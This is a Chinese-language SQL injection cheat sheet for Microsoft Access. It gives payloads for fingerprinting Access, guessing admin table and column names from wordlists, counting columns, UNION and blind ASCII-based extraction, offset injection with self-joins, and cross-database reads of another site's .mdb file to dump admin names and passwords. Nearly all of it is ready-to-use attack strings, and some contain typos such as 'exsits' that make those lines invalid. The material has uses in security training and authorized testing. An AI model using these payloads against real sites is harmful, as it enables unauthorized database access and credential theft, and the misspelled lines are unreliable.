Sql注入之Access
Access数据库介绍
Access数据库是由微软开发的小型数据库,可以存储100M之内的信息。
Access数据库判断
and exsits (select * from msysobjects)>0
Access注入利用
- 方法一
判断表名
运用如下命令返回正常即存在
and exsits (select * from admin)
Access数据库常见管理员表名:
admin
admin_user
admin_msg
admin_usr
admin_login
username
manager
manag
msg
msg_user
msg_login
useradmin
user_msg
userlogin
users
member
判断列
运用如下命令返回正常即存在列
and exsits (select id from admin)
Access数据库常见的管理员列名:
admin
admin_user
username
users
usr
user_login
user_name
name
loginname
admin_login
msg_name
管理员密码列名:
password
pwd
pass
user_pass
判断列数
order by num
num<=真正列数是时返回正常
联合注入
union select 1,2,……num from user
页面会回显1,2,3……num,选择可以看到的进行查询,例如选择1从user表查name
union select name,2,……num from user
在刚才回显1的地方就可以看到name的值
- 方法二(工具一般使用该方法实现)
判断表名和列名用方法一种的,如下方法是用来精确判断内容
判断返回内容长度
and (select top 1 len(name) from user)=5
top 1:返回第一个数据
top 2:返回前两个数据
当从user表中查询到name列返回的第一个数据长度为5时页面返回正常
精确判断内容
and (select top 1 asc(mid(name,1,1)) from user)=97 #97为ascii码
asc():返回ascii码
mid():https://www.runoob.com/sql/sql-func-mid.html
如上使用ascii码的方式进行查询
偏移注入
适用情况
猜不到列名的时候
利用
- 方法一
假设有5列
union select 1,2,3,4,* from admin
union select 1,2,3,* from admin
如上依次前推 *,页面返回正常时,它会从数据库中随机爆出数据
- 方法二
公式:
总列数-方法一种第一次回显正常时剩下的列数(*号前的数)
假设有11列,第一次在10处成功回显,如下
union select 1,2,3,4,5,6,7,8,9,* from admin
根据公式的11-9=2,则下一次在原有基础上减去4个,再加上一些命令如下
union select 1,2,3,4,5,6,7,* from (admin as a inner join admin as b on a.id=b.id)
inner join内连接:https://blog.csdn.net/rocling/article/details/90516802
如果没有注入出想要的结果,然后在进行一次注入:
union select from 1,2,3,4,5,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
该命令可以一直注入到剩余的列数无法在减2为止
跨库查询
介绍
对一个站点数据库进行注入,从而可以查询出另一个站点的数据库。
适用场景
两个站点在同一服务器上,其中一个站点有注入漏洞,知道另一个站点数据库的绝对路径。
利用
假设存在注入的数据库的表列数有3列
另一个站点的数据库的路径为E:wwwdatadata.mdb
union select 1,name,password from [E:wwwdatadata.mdb].admin #.后面的admin为表名